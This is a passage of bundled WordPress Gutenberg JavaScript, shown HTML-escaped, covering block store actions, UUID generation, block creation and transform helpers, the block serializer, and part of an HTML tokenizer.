        settings.parent
      );
      return;
    }
    if (1 === settings?.parent?.length &amp;&amp; name === settings.parent[0]) {
      (0, import_warning2.default)(
        &#039;Block &quot;&#039; + name + &#039;&quot; cannot be a parent of itself. Please remove the block name from the parent list.&#039;
      );
      return;
    }
    return settings;
  };

  // packages/blocks/build-module/store/actions.mjs
  function addBlockTypes(blockTypes2) {
    return {
      type: &quot;ADD_BLOCK_TYPES&quot;,
      blockTypes: Array.isArray(blockTypes2) ? blockTypes2 : [blockTypes2]
    };
  }
  function reapplyBlockTypeFilters() {
    return ({ dispatch: dispatch3, select: select3 }) =&gt; {
      const processedBlockTypes = [];
      for (const [name, settings] of Object.entries(
        select3.getUnprocessedBlockTypes()
      )) {
        const result = dispatch3(processBlockType(name, settings));
        if (result) {
          processedBlockTypes.push(result);
        }
      }
      if (!processedBlockTypes.length) {
        return;
      }
      dispatch3.addBlockTypes(processedBlockTypes);
    };
  }
  function __experimentalReapplyBlockFilters() {
    (0, import_deprecated5.default)(
      &#039;wp.data.dispatch( &quot;core/blocks&quot; ).__experimentalReapplyBlockFilters&#039;,
      {
        since: &quot;6.4&quot;,
        alternative: &quot;reapplyBlockFilters&quot;
      }
    );
    return reapplyBlockTypeFilters();
  }
  function removeBlockTypes(names) {
    return {
      type: &quot;REMOVE_BLOCK_TYPES&quot;,
      names: Array.isArray(names) ? names : [names]
    };
  }
  function addBlockStyles(blockNames, styles) {
    return {
      type: &quot;ADD_BLOCK_STYLES&quot;,
      styles: Array.isArray(styles) ? styles : [styles],
      blockNames: Array.isArray(blockNames) ? blockNames : [blockNames]
    };
  }
  function removeBlockStyles(blockName, styleNames) {
    return {
      type: &quot;REMOVE_BLOCK_STYLES&quot;,
      styleNames: Array.isArray(styleNames) ? styleNames : [styleNames],
      blockName
    };
  }
  function addBlockVariations(blockName, variations) {
    return {
      type: &quot;ADD_BLOCK_VARIATIONS&quot;,
      variations: Array.isArray(variations) ? variations : [variations],
      blockName
    };
  }
  function removeBlockVariations(blockName, variationNames) {
    return {
      type: &quot;REMOVE_BLOCK_VARIATIONS&quot;,
      variationNames: Array.isArray(variationNames) ? variationNames : [variationNames],
      blockName
    };
  }
  function setDefaultBlockName2(name) {
    return {
      type: &quot;SET_DEFAULT_BLOCK_NAME&quot;,
      name
    };
  }
  function setFreeformFallbackBlockName(name) {
    return {
      type: &quot;SET_FREEFORM_FALLBACK_BLOCK_NAME&quot;,
      name
    };
  }
  function setUnregisteredFallbackBlockName(name) {
    return {
      type: &quot;SET_UNREGISTERED_FALLBACK_BLOCK_NAME&quot;,
      name
    };
  }
  function setGroupingBlockName2(name) {
    return {
      type: &quot;SET_GROUPING_BLOCK_NAME&quot;,
      name
    };
  }
  function setCategories(categories2) {
    return {
      type: &quot;SET_CATEGORIES&quot;,
      categories: categories2
    };
  }
  function updateCategory(slug, category) {
    return {
      type: &quot;UPDATE_CATEGORY&quot;,
      slug,
      category
    };
  }
  function addBlockCollection(namespace, title, icon) {
    return {
      type: &quot;ADD_BLOCK_COLLECTION&quot;,
      namespace,
      title,
      icon
    };
  }
  function removeBlockCollection(namespace) {
    return {
      type: &quot;REMOVE_BLOCK_COLLECTION&quot;,
      namespace
    };
  }

  // packages/blocks/build-module/store/private-actions.mjs
  var private_actions_exports = {};
  __export(private_actions_exports, {
    addBlockBindingsSource: () =&gt; addBlockBindingsSource,
    addBootstrappedBlockType: () =&gt; addBootstrappedBlockType,
    addUnprocessedBlockType: () =&gt; addUnprocessedBlockType,
    removeBlockBindingsSource: () =&gt; removeBlockBindingsSource
  });
  function addBootstrappedBlockType(name, blockType) {
    return {
      type: &quot;ADD_BOOTSTRAPPED_BLOCK_TYPE&quot;,
      name,
      blockType
    };
  }
  function addUnprocessedBlockType(name, blockType) {
    return ({ dispatch: dispatch3 }) =&gt; {
      dispatch3({ type: &quot;ADD_UNPROCESSED_BLOCK_TYPE&quot;, name, blockType });
      const processedBlockType = dispatch3(
        processBlockType(name, blockType)
      );
      if (!processedBlockType) {
        return;
      }
      dispatch3.addBlockTypes(processedBlockType);
    };
  }
  function addBlockBindingsSource(source) {
    return {
      type: &quot;ADD_BLOCK_BINDINGS_SOURCE&quot;,
      name: source.name,
      label: source.label,
      usesContext: source.usesContext,
      getValues: source.getValues,
      setValues: source.setValues,
      canUserEditValue: source.canUserEditValue,
      getFieldsList: source.getFieldsList
    };
  }
  function removeBlockBindingsSource(name) {
    return {
      type: &quot;REMOVE_BLOCK_BINDINGS_SOURCE&quot;,
      name
    };
  }

  // packages/blocks/build-module/store/constants.mjs
  var STORE_NAME = &quot;core/blocks&quot;;

  // packages/blocks/build-module/store/index.mjs
  var store = (0, import_data5.createReduxStore)(STORE_NAME, {
    reducer: reducer_default,
    selectors: selectors_exports,
    actions: actions_exports
  });
  (0, import_data5.register)(store);
  unlock(store).registerPrivateSelectors(private_selectors_exports);
  unlock(store).registerPrivateActions(private_actions_exports);

  // node_modules/uuid/dist/esm-browser/rng.js
  var getRandomValues;
  var rnds8 = new Uint8Array(16);
  function rng() {
    if (!getRandomValues) {
      getRandomValues = typeof crypto !== &quot;undefined&quot; &amp;&amp; crypto.getRandomValues &amp;&amp; crypto.getRandomValues.bind(crypto);
      if (!getRandomValues) {
        throw new Error(&quot;crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported&quot;);
      }
    }
    return getRandomValues(rnds8);
  }

  // node_modules/uuid/dist/esm-browser/stringify.js
  var byteToHex = [];
  for (let i2 = 0; i2 &lt; 256; ++i2) {
    byteToHex.push((i2 + 256).toString(16).slice(1));
  }
  function unsafeStringify(arr, offset = 0) {
    return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + &quot;-&quot; + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + &quot;-&quot; + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + &quot;-&quot; + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + &quot;-&quot; + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
  }

  // node_modules/uuid/dist/esm-browser/native.js
  var randomUUID = typeof crypto !== &quot;undefined&quot; &amp;&amp; crypto.randomUUID &amp;&amp; crypto.randomUUID.bind(crypto);
  var native_default = {
    randomUUID
  };

  // node_modules/uuid/dist/esm-browser/v4.js
  function v4(options, buf, offset) {
    if (native_default.randomUUID &amp;&amp; !buf &amp;&amp; !options) {
      return native_default.randomUUID();
    }
    options = options || {};
    const rnds = options.random || (options.rng || rng)();
    rnds[6] = rnds[6] &amp; 15 | 64;
    rnds[8] = rnds[8] &amp; 63 | 128;
    if (buf) {
      offset = offset || 0;
      for (let i2 = 0; i2 &lt; 16; ++i2) {
        buf[offset + i2] = rnds[i2];
      }
      return buf;
    }
    return unsafeStringify(rnds);
  }
  var v4_default = v4;

  // packages/blocks/build-module/api/factory.mjs
  var import_hooks2 = __toESM(require_hooks(), 1);
  function createBlock(name, attributes = {}, innerBlocks = []) {
    if (!isBlockRegistered(name)) {
      return createBlock(&quot;core/missing&quot;, {
        originalName: name,
        originalContent: &quot;&quot;,
        originalUndelimitedContent: &quot;&quot;
      });
    }
    const sanitizedAttributes = __experimentalSanitizeBlockAttributes(
      name,
      attributes
    );
    const clientId = v4_default();
    return {
      clientId,
      name,
      isValid: true,
      attributes: sanitizedAttributes,
      innerBlocks
    };
  }
  function createBlocksFromInnerBlocksTemplate(innerBlocksOrTemplate = []) {
    return innerBlocksOrTemplate.map((innerBlock) =&gt; {
      const innerBlockTemplate = Array.isArray(innerBlock) ? innerBlock : [
        innerBlock.name,
        innerBlock.attributes,
        innerBlock.innerBlocks
      ];
      const [name, attributes, innerBlocks = []] = innerBlockTemplate;
      return createBlock(
        name,
        attributes,
        createBlocksFromInnerBlocksTemplate(innerBlocks)
      );
    });
  }
  function __experimentalCloneSanitizedBlock(block, mergeAttributes = {}, newInnerBlocks) {
    const { name } = block;
    if (!isBlockRegistered(name)) {
      return createBlock(&quot;core/missing&quot;, {
        originalName: name,
        originalContent: &quot;&quot;,
        originalUndelimitedContent: &quot;&quot;
      });
    }
    const clientId = v4_default();
    const sanitizedAttributes = __experimentalSanitizeBlockAttributes(name, {
      ...block.attributes,
      ...mergeAttributes
    });
    return {
      ...block,
      clientId,
      attributes: sanitizedAttributes,
      innerBlocks: newInnerBlocks || block.innerBlocks.map(
        (innerBlock) =&gt; __experimentalCloneSanitizedBlock(innerBlock)
      )
    };
  }
  function cloneBlock(block, mergeAttributes = {}, newInnerBlocks) {
    const clientId = v4_default();
    return {
      ...block,
      clientId,
      attributes: {
        ...block.attributes,
        ...mergeAttributes
      },
      innerBlocks: newInnerBlocks || block.innerBlocks.map((innerBlock) =&gt; cloneBlock(innerBlock))
    };
  }
  var isPossibleTransformForSource = (transform, direction, blocks) =&gt; {
    if (!blocks.length) {
      return false;
    }
    const isMultiBlock = blocks.length &gt; 1;
    const firstBlockName = blocks[0].name;
    const isValidForMultiBlocks = isWildcardBlockTransform(transform) || !isMultiBlock || transform.isMultiBlock;
    if (!isValidForMultiBlocks) {
      return false;
    }
    if (!isWildcardBlockTransform(transform) &amp;&amp; !blocks.every((block) =&gt; block.name === firstBlockName)) {
      return false;
    }
    const isBlockType = transform.type === &quot;block&quot;;
    if (!isBlockType) {
      return false;
    }
    const sourceBlock = blocks[0];
    const hasMatchingName = direction !== &quot;from&quot; || transform.blocks.indexOf(sourceBlock.name) !== -1 || isWildcardBlockTransform(transform);
    if (!hasMatchingName) {
      return false;
    }
    if (!isMultiBlock &amp;&amp; direction === &quot;from&quot; &amp;&amp; isContainerGroupBlock(sourceBlock.name) &amp;&amp; isContainerGroupBlock(transform.blockName)) {
      return false;
    }
    if (!maybeCheckTransformIsMatch(transform, blocks)) {
      return false;
    }
    return true;
  };
  var getBlockTypesForPossibleFromTransforms = (blocks) =&gt; {
    if (!blocks.length) {
      return [];
    }
    const allBlockTypes = getBlockTypes();
    const blockTypesWithPossibleFromTransforms = allBlockTypes.filter(
      (blockType) =&gt; {
        const fromTransforms = getBlockTransforms(&quot;from&quot;, blockType.name);
        return !!findTransform(fromTransforms, (transform) =&gt; {
          return isPossibleTransformForSource(
            transform,
            &quot;from&quot;,
            blocks
          );
        });
      }
    );
    return blockTypesWithPossibleFromTransforms;
  };
  var getBlockTypesForPossibleToTransforms = (blocks) =&gt; {
    if (!blocks.length) {
      return [];
    }
    const sourceBlock = blocks[0];
    const blockType = getBlockType(sourceBlock.name);
    const transformsTo = blockType ? getBlockTransforms(&quot;to&quot;, blockType.name) : [];
    const possibleTransforms = transformsTo.filter((transform) =&gt; {
      return transform &amp;&amp; isPossibleTransformForSource(transform, &quot;to&quot;, blocks);
    });
    const blockNames = possibleTransforms.map((transformation) =&gt; transformation.blocks).flat();
    return blockNames.map(getBlockType);
  };
  var isWildcardBlockTransform = (t3) =&gt; t3 &amp;&amp; t3.type === &quot;block&quot; &amp;&amp; Array.isArray(t3.blocks) &amp;&amp; t3.blocks.includes(&quot;*&quot;);
  var isContainerGroupBlock = (name) =&gt; name === getGroupingBlockName();
  function getPossibleBlockTransformations(blocks) {
    if (!blocks.length) {
      return [];
    }
    const blockTypesForFromTransforms = getBlockTypesForPossibleFromTransforms(blocks);
    const blockTypesForToTransforms = getBlockTypesForPossibleToTransforms(blocks);
    return [
      .../* @__PURE__ */ new Set([
        ...blockTypesForFromTransforms,
        ...blockTypesForToTransforms
      ])
    ];
  }
  function findTransform(transforms, predicate) {
    const hooks = (0, import_hooks2.createHooks)();
    for (let i2 = 0; i2 &lt; transforms.length; i2++) {
      const candidate = transforms[i2];
      if (predicate(candidate)) {
        hooks.addFilter(
          &quot;transform&quot;,
          &quot;transform/&quot; + i2.toString(),
          (result) =&gt; result ? result : candidate,
          candidate.priority
        );
      }
    }
    return hooks.applyFilters(&quot;transform&quot;, null);
  }
  function getBlockTransforms(direction, blockTypeOrName) {
    if (blockTypeOrName === void 0) {
      return getBlockTypes().map(({ name }) =&gt; getBlockTransforms(direction, name)).flat();
    }
    const blockType = normalizeBlockType(blockTypeOrName);
    const { name: blockName, transforms } = blockType || {};
    if (!transforms || !Array.isArray(transforms[direction])) {
      return [];
    }
    const usingMobileTransformations = transforms.supportedMobileTransforms &amp;&amp; Array.isArray(transforms.supportedMobileTransforms);
    const filteredTransforms = usingMobileTransformations ? transforms[direction].filter((t3) =&gt; {
      if (t3.type === &quot;raw&quot;) {
        return true;
      }
      if (t3.type === &quot;prefix&quot;) {
        return true;
      }
      if (!t3.blocks || !t3.blocks.length) {
        return false;
      }
      if (isWildcardBlockTransform(t3)) {
        return true;
      }
      return t3.blocks.every(
        (transformBlockName) =&gt; transforms.supportedMobileTransforms.includes(
          transformBlockName
        )
      );
    }) : transforms[direction];
    return filteredTransforms.map((transform) =&gt; ({
      ...transform,
      blockName,
      usingMobileTransformations
    }));
  }
  function maybeCheckTransformIsMatch(transform, blocks) {
    if (typeof transform.isMatch !== &quot;function&quot;) {
      return true;
    }
    const sourceBlock = blocks[0];
    const attributes = transform.isMultiBlock ? blocks.map((block2) =&gt; block2.attributes) : sourceBlock.attributes;
    const block = transform.isMultiBlock ? blocks : sourceBlock;
    return transform.isMatch(attributes, block);
  }
  function switchToBlockType(blocks, name) {
    const blocksArray = Array.isArray(blocks) ? blocks : [blocks];
    const isMultiBlock = blocksArray.length &gt; 1;
    const firstBlock = blocksArray[0];
    const sourceName = firstBlock.name;
    const transformationsFrom = getBlockTransforms(&quot;from&quot;, name);
    const transformationsTo = getBlockTransforms(&quot;to&quot;, sourceName);
    const transformation = findTransform(
      transformationsTo,
      (t3) =&gt; t3.type === &quot;block&quot; &amp;&amp; (isWildcardBlockTransform(t3) || t3.blocks.indexOf(name) !== -1) &amp;&amp; (!isMultiBlock || t3.isMultiBlock) &amp;&amp; maybeCheckTransformIsMatch(t3, blocksArray)
    ) || findTransform(
      transformationsFrom,
      (t3) =&gt; t3.type === &quot;block&quot; &amp;&amp; (isWildcardBlockTransform(t3) || t3.blocks.indexOf(sourceName) !== -1) &amp;&amp; (!isMultiBlock || t3.isMultiBlock) &amp;&amp; maybeCheckTransformIsMatch(t3, blocksArray)
    );
    if (!transformation) {
      return null;
    }
    let transformationResults;
    if (transformation.isMultiBlock) {
      if (&quot;__experimentalConvert&quot; in transformation) {
        transformationResults = transformation.__experimentalConvert(blocksArray);
      } else {
        transformationResults = transformation.transform(
          blocksArray.map((currentBlock) =&gt; currentBlock.attributes),
          blocksArray.map((currentBlock) =&gt; currentBlock.innerBlocks)
        );
      }
    } else if (&quot;__experimentalConvert&quot; in transformation) {
      transformationResults = transformation.__experimentalConvert(firstBlock);
    } else {
      transformationResults = transformation.transform(
        firstBlock.attributes,
        firstBlock.innerBlocks
      );
    }
    if (transformationResults === null || typeof transformationResults !== &quot;object&quot;) {
      return null;
    }
    transformationResults = Array.isArray(transformationResults) ? transformationResults : [transformationResults];
    if (transformationResults.some(
      (result) =&gt; !getBlockType(result.name)
    )) {
      return null;
    }
    const hasSwitchedBlock = transformationResults.some(
      (result) =&gt; result.name === name
    );
    if (!hasSwitchedBlock) {
      return null;
    }
    const ret = transformationResults.map((result, index, results) =&gt; {
      return (0, import_hooks2.applyFilters)(
        &quot;blocks.switchToBlockType.transformedBlock&quot;,
        result,
        blocks,
        index,
        results
      );
    });
    return ret;
  }
  var getBlockFromExample = (name, example) =&gt; createBlock(
    name,
    example.attributes,
    (example.innerBlocks ?? []).map(
      (innerBlock) =&gt; getBlockFromExample(innerBlock.name, innerBlock)
    )
  );

  // packages/blocks/build-module/api/parser/index.mjs
  var import_block_serialization_default_parser = __toESM(require_block_serialization_default_parser(), 1);
  var import_autop2 = __toESM(require_autop(), 1);

  // packages/blocks/build-module/api/serializer.mjs
  var import_element2 = __toESM(require_element(), 1);
  var import_hooks3 = __toESM(require_hooks(), 1);
  var import_is_shallow_equal = __toESM(require_is_shallow_equal(), 1);
  var import_autop = __toESM(require_autop(), 1);
  var import_deprecated6 = __toESM(require_deprecated(), 1);

  // packages/blocks/build-module/api/parser/serialize-raw-block.mjs
  function serializeRawBlock(rawBlock, options = {}) {
    const { isCommentDelimited = true } = options;
    const {
      blockName,
      attrs = {},
      innerBlocks = [],
      innerContent = []
    } = rawBlock;
    let childIndex = 0;
    const content = innerContent.map(
      (item) =&gt; (
        // `null` denotes a nested block, otherwise we have an HTML fragment.
        item !== null ? item : serializeRawBlock(innerBlocks[childIndex++], options)
      )
    ).join(&quot;\n&quot;).replace(/\n+/g, &quot;\n&quot;).trim();
    return isCommentDelimited ? getCommentDelimitedContent(blockName, attrs, content) : content;
  }

  // packages/blocks/build-module/api/serializer.mjs
  var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
  function getBlockDefaultClassName(blockName) {
    const className = &quot;wp-block-&quot; + blockName.replace(/\//, &quot;-&quot;).replace(/^core-/, &quot;&quot;);
    return (0, import_hooks3.applyFilters)(
      &quot;blocks.getBlockDefaultClassName&quot;,
      className,
      blockName
    );
  }
  function getBlockMenuDefaultClassName(blockName) {
    const className = &quot;editor-block-list-item-&quot; + blockName.replace(/\//, &quot;-&quot;).replace(/^core-/, &quot;&quot;);
    return (0, import_hooks3.applyFilters)(
      &quot;blocks.getBlockMenuDefaultClassName&quot;,
      className,
      blockName
    );
  }
  var blockPropsProvider = {};
  var innerBlocksPropsProvider = {};
  function getBlockProps(props = {}) {
    const { blockType, attributes } = blockPropsProvider;
    return getBlockProps.skipFilters ? props : (0, import_hooks3.applyFilters)(
      &quot;blocks.getSaveContent.extraProps&quot;,
      { ...props },
      blockType,
      attributes
    );
  }
  function getInnerBlocksProps(props = {}) {
    const { innerBlocks } = innerBlocksPropsProvider;
    if (!Array.isArray(innerBlocks)) {
      return { ...props, children: innerBlocks };
    }
    const html2 = serialize(innerBlocks, { isInnerBlocks: true });
    const children = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_element2.RawHTML, { children: html2 });
    return { ...props, children };
  }
  function getSaveElement(blockTypeOrName, attributes, innerBlocks = []) {
    const blockType = normalizeBlockType(blockTypeOrName);
    if (!blockType?.save) {
      return null;
    }
    let { save } = blockType;
    if (save.prototype instanceof import_element2.Component) {
      const instance = new save({ attributes });
      save = instance.render.bind(instance);
    }
    blockPropsProvider.blockType = blockType;
    blockPropsProvider.attributes = attributes;
    innerBlocksPropsProvider.innerBlocks = innerBlocks;
    let element = save({ attributes, innerBlocks });
    if (element !== null &amp;&amp; typeof element === &quot;object&quot; &amp;&amp; (0, import_hooks3.hasFilter)(&quot;blocks.getSaveContent.extraProps&quot;) &amp;&amp; !(blockType.apiVersion &gt; 1)) {
      const props = (0, import_hooks3.applyFilters)(
        &quot;blocks.getSaveContent.extraProps&quot;,
        { ...element.props },
        blockType,
        attributes
      );
      if (!(0, import_is_shallow_equal.isShallowEqual)(props, element.props)) {
        element = (0, import_element2.cloneElement)(element, props);
      }
    }
    return (0, import_hooks3.applyFilters)(
      &quot;blocks.getSaveElement&quot;,
      element,
      blockType,
      attributes
    );
  }
  function getSaveContent(blockTypeOrName, attributes, innerBlocks) {
    const blockType = normalizeBlockType(blockTypeOrName);
    return (0, import_element2.renderToString)(
      getSaveElement(blockType, attributes, innerBlocks)
    );
  }
  function getCommentAttributes(blockType, attributes) {
    return Object.entries(blockType.attributes ?? {}).reduce(
      (accumulator, [key, attributeSchema]) =&gt; {
        const value = attributes[key];
        if (void 0 === value) {
          return accumulator;
        }
        if (attributeSchema.source !== void 0) {
          return accumulator;
        }
        if (attributeSchema.role === &quot;local&quot;) {
          return accumulator;
        }
        if (attributeSchema.__experimentalRole === &quot;local&quot;) {
          (0, import_deprecated6.default)(&quot;__experimentalRole attribute&quot;, {
            since: &quot;6.7&quot;,
            version: &quot;6.8&quot;,
            alternative: &quot;role attribute&quot;,
            hint: `Check the block.json of the ${blockType?.name} block.`
          });
          return accumulator;
        }
        if (&quot;default&quot; in attributeSchema &amp;&amp; JSON.stringify(attributeSchema.default) === JSON.stringify(value)) {
          return accumulator;
        }
        accumulator[key] = value;
        return accumulator;
      },
      {}
    );
  }
  function serializeAttributes(attributes) {
    return JSON.stringify(attributes).replaceAll(&quot;\\\\&quot;, &quot;\\u005c&quot;).replaceAll(&quot;--&quot;, &quot;\\u002d\\u002d&quot;).replaceAll(&quot;&lt;&quot;, &quot;\\u003c&quot;).replaceAll(&quot;&gt;&quot;, &quot;\\u003e&quot;).replaceAll(&quot;&amp;&quot;, &quot;\\u0026&quot;).replaceAll(&#039;\\&quot;&#039;, &quot;\\u0022&quot;);
  }
  function getBlockInnerHTML(block) {
    let saveContent = block.originalContent;
    if (block.isValid || block.innerBlocks.length) {
      try {
        saveContent = getSaveContent(
          block.name,
          block.attributes,
          block.innerBlocks
        );
      } catch (error) {
      }
    }
    return saveContent;
  }
  function getCommentDelimitedContent(rawBlockName, attributes, content) {
    const serializedAttributes = attributes &amp;&amp; Object.entries(attributes).length ? serializeAttributes(attributes) + &quot; &quot; : &quot;&quot;;
    const blockName = rawBlockName?.startsWith(&quot;core/&quot;) ? rawBlockName.slice(5) : rawBlockName;
    if (!content) {
      return `&lt;!-- wp:${blockName} ${serializedAttributes}/--&gt;`;
    }
    return `&lt;!-- wp:${blockName} ${serializedAttributes}--&gt;
` + content + `
&lt;!-- /wp:${blockName} --&gt;`;
  }
  function serializeBlock(block, { isInnerBlocks = false } = {}) {
    if (!block.isValid &amp;&amp; block.__unstableBlockSource) {
      return serializeRawBlock(block.__unstableBlockSource);
    }
    const blockName = block.name;
    const saveContent = getBlockInnerHTML(block);
    if (blockName === getUnregisteredTypeHandlerName() || !isInnerBlocks &amp;&amp; blockName === getFreeformContentHandlerName()) {
      return saveContent;
    }
    const blockType = getBlockType(blockName);
    if (!blockType) {
      return saveContent;
    }
    const saveAttributes = getCommentAttributes(blockType, block.attributes);
    return getCommentDelimitedContent(blockName, saveAttributes, saveContent);
  }
  var __unstableSerializeAndClean = /* @__PURE__ */ (() =&gt; {
    const cache = /* @__PURE__ */ new WeakMap();
    return (blocks) =&gt; {
      const cached = cache.get(blocks);
      if (cached !== void 0) {
        return cached;
      }
      let effectiveBlocks = blocks;
      if (effectiveBlocks.length === 1 &amp;&amp; isUnmodifiedDefaultBlock(effectiveBlocks[0])) {
        effectiveBlocks = [];
      }
      let content = serialize(effectiveBlocks);
      if (effectiveBlocks.length === 1 &amp;&amp; effectiveBlocks[0].name === getFreeformContentHandlerName() &amp;&amp; effectiveBlocks[0].name === &quot;core/freeform&quot;) {
        content = (0, import_autop.removep)(content);
      }
      cache.set(blocks, content);
      return content;
    };
  })();
  function serialize(blocks, options) {
    const blocksArray = Array.isArray(blocks) ? blocks : [blocks];
    return blocksArray.map((block) =&gt; serializeBlock(block, options)).join(&quot;\n\n&quot;);
  }

  // node_modules/simple-html-tokenizer/dist/es6/index.js
  var HEXCHARCODE = /^#[xX]([A-Fa-f0-9]+)$/;
  var CHARCODE = /^#([0-9]+)$/;
  var NAMED = /^([A-Za-z0-9]+)$/;
  var EntityParser = (
    /** @class */
    (function() {
      function EntityParser2(named) {
        this.named = named;
      }
      EntityParser2.prototype.parse = function(entity) {
        if (!entity) {
          return;
        }
        var matches = entity.match(HEXCHARCODE);
        if (matches) {
          return String.fromCharCode(parseInt(matches[1], 16));
        }
        matches = entity.match(CHARCODE);
        if (matches) {
          return String.fromCharCode(parseInt(matches[1], 10));
        }
        matches = entity.match(NAMED);
        if (matches) {
          return this.named[matches[1]];
        }
      };
      return EntityParser2;
    })()
  );
  var WSP = /[\t\n\f ]/;
  var ALPHA = /[A-Za-z]/;
  var CRLF = /\r\n?/g;
  function isSpace(char) {
    return WSP.test(char);
  }
  function isAlpha(char) {
    return ALPHA.test(char);
  }
  function preprocessInput(input) {
    return input.replace(CRLF, &quot;\n&quot;);
  }
  var EventedTokenizer = (
    /** @class */
    (function() {
      function EventedTokenizer2(delegate, entityParser) {
        this.delegate = delegate;
        this.entityParser = entityParser;
        this.state = &quot;beforeData&quot;;
        this.line = -1;
        this.column = -1;
        this.input = &quot;&quot;;
        this.index = -1;
        this.tagNameBuffer = &quot;&quot;;
        this.states = {
          beforeData: function() {
            var char = this.peek();
            if (char === &quot;&lt;&quot;) {
              this.transitionTo(
                &quot;tagOpen&quot;
                /* tagOpen */
              );
              this.markTagStart();
              this.consume();
            } else {
              if (char === &quot;\n&quot;) {
                var tag = this.tagNameBuffer.toLowerCase();
                if (tag === &quot;pre&quot; || tag === &quot;textarea&quot;) {
                  this.consume();
                }
              }
              this.transitionTo(
                &quot;data&quot;
                /* data */
              );
              this.delegate.beginData();
            }
          },
          data: function() {
            var char = this.peek();
            if (char === &quot;&lt;&quot;) {
              this.delegate.finishData();
              this.transitionTo(
                &quot;tagOpen&quot;
                /* tagOpen */
              );
              this.markTagStart();
              this.consume();
            } else if (char === &quot;&amp;&quot;) {
              this.consume();
              this.delegate.appendToData(this.consumeCharRef() || &quot;&amp;&quot;);
            } else {
              this.consume();
              this.delegate.appendToData(char);
            }
          },
          tagOpen: function() {
            var char = this.consume();
            if (char === &quot;!&quot;) {
              this.transitionTo(
                &quot;markupDeclarationOpen&quot;
                /* markupDeclarationOpen */
              );
            } else if (char === &quot;/&quot;) {
              this.transitionTo(
                &quot;endTagOpen&quot;
                /* endTagOpen */
              );
            } else if (char === &quot;@&quot; || char === &quot;:&quot; || isAlpha(char)) {
              this.transitionTo(
                &quot;tagName&quot;
                /* tagName */
              );
              this.tagNameBuffer = &quot;&quot;;
              this.delegate.beginStartTag();
              this.appendToTagName(char);
            }
          },
          markupDeclarationOpen: function() {
            var char = this.consume();
            if (char === &quot;-&quot; &amp;&amp; this.input.charAt(this.index) === &quot;-&quot;) {
              this.consume();
              this.transitionTo(
                &quot;commentStart&quot;
                /* commentStart */
              );
              this.delegate.beginComment();
            }
          },
          commentStart: function() {
            var char = this.consume();
            if (char === &quot;-&quot;) {
              this.transitionTo(
                &quot;commentStartDash&quot;
                /* commentStartDash */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.finishComment();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.delegate.appendToCommentData(char);
              this.transitionTo(
                &quot;comment&quot;
                /* comment */
              );
            }
          },
          commentStartDash: function() {
            var char = this.consume();
            if (char === &quot;-&quot;) {
              this.transitionTo(
                &quot;commentEnd&quot;
                /* commentEnd */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.finishComment();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.delegate.appendToCommentData(&quot;-&quot;);
              this.transitionTo(
                &quot;comment&quot;
                /* comment */
              );
            }
          },
          comment: function() {
            var char = this.consume();
            if (char === &quot;-&quot;) {
              this.transitionTo(
                &quot;commentEndDash&quot;
                /* commentEndDash */
              );
            } else {
              this.delegate.appendToCommentData(char);
            }
          },
          commentEndDash: function() {
            var char = this.consume();
            if (char === &quot;-&quot;) {
              this.transitionTo(
                &quot;commentEnd&quot;
                /* commentEnd */
              );
            } else {
              this.delegate.appendToCommentData(&quot;-&quot; + char);
              this.transitionTo(
                &quot;comment&quot;
                /* comment */
              );
            }
          },
          commentEnd: function() {
            var char = this.consume();
            if (char === &quot;&gt;&quot;) {
              this.delegate.finishComment();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.delegate.appendToCommentData(&quot;--&quot; + char);
              this.transitionTo(
                &quot;comment&quot;
                /* comment */
              );
            }
          },
          tagName: function() {
            var char = this.consume();
            if (isSpace(char)) {
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            } else if (char === &quot;/&quot;) {
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.appendToTagName(char);
            }
          },
          beforeAttributeName: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.consume();
              return;
            } else if (char === &quot;/&quot;) {
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
              this.consume();
            } else if (char === &quot;&gt;&quot;) {
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else if (char === &quot;=&quot;) {
              this.delegate.reportSyntaxError(&quot;attribute name cannot start with equals sign&quot;);
              this.transitionTo(
                &quot;attributeName&quot;
                /* attributeName */
              );
              this.delegate.beginAttribute();
              this.consume();
              this.delegate.appendToAttributeName(char);
            } else {
              this.transitionTo(
                &quot;attributeName&quot;
                /* attributeName */
              );
              this.delegate.beginAttribute();
            }
          },
          attributeName: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.transitionTo(
                &quot;afterAttributeName&quot;
                /* afterAttributeName */
              );
              this.consume();
            } else if (char === &quot;/&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;=&quot;) {
              this.transitionTo(
                &quot;beforeAttributeValue&quot;
                /* beforeAttributeValue */
              );
              this.consume();
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
